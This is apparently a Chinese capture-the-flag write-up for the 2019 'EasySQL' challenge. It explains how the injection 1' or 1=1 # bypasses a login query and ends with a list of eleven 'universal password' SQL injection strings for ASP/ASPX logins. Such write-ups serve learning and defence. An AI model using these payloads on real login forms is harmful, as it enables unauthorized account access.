[极客大挑战 2019]EasySQL
前言
人生苦忧参半,快乐只有干饭。
正文
一道简单的SQL注入题,只是不会写而已…
习惯性f12查看源码,并没有什么发现
方法一
这是我自己当时的解法,没啥技术含量…
直接用burpsuit进行抓包,查看
重发器发送,得到flag
方法二(暂时没理解)
先试着用闭合方式, 用户名分别输入1、1’、1" 进行判断,只有当输入 1’ 时报错,结果语句应该是单引号闭合
用单引号闭合,都报错,了解一下 万能用户名/密码
以下是某位大佬题解里的研究
- select * from table_name where username=‘xxxx’ and password=‘xxxxxx’ ;
- 一般,验证登录注册查询数据库可能会用以上句型。如果用户密码匹配正确则返回真值,通过验证成功登录。
- 如果让它不匹配数据库也能返回真值那么就能绕过验证登录。
- 那么就是下面的万能用户名 。
- 如果我们传入的username为 1’ or 1=1 #,随意输入 password,那么传入后端验证时,sql语句就是
1 | select * from table_name where username=‘1’ or 1=1 # ’ and password=‘xxxxxx’ ;
- 因为sql语句中 # 为注释符,也就是
1| select * from table_name where username=‘1’ or 1=1
- 那么因为 1=1 恒为真,所以sql语句返回真值,成功实现绕过验证,得到flag。
总结
最后总结一下万能密码
asp | aspx万能密码 |
---|---|
1: | "or “a”="a |
2: | ‘.).or.(’.a.’=’.a |
3: | or 1=1– |
4: | 'or 1=1– |
5: | a’or’ 1=1– |
6: | "or 1=1– |
7: | 'or.‘a.’='a |
8: | “or”="a’='a |
9: | ‘or’’=’ |
10: | ‘or’=‘or’ |
11: | admin’or 1=1# |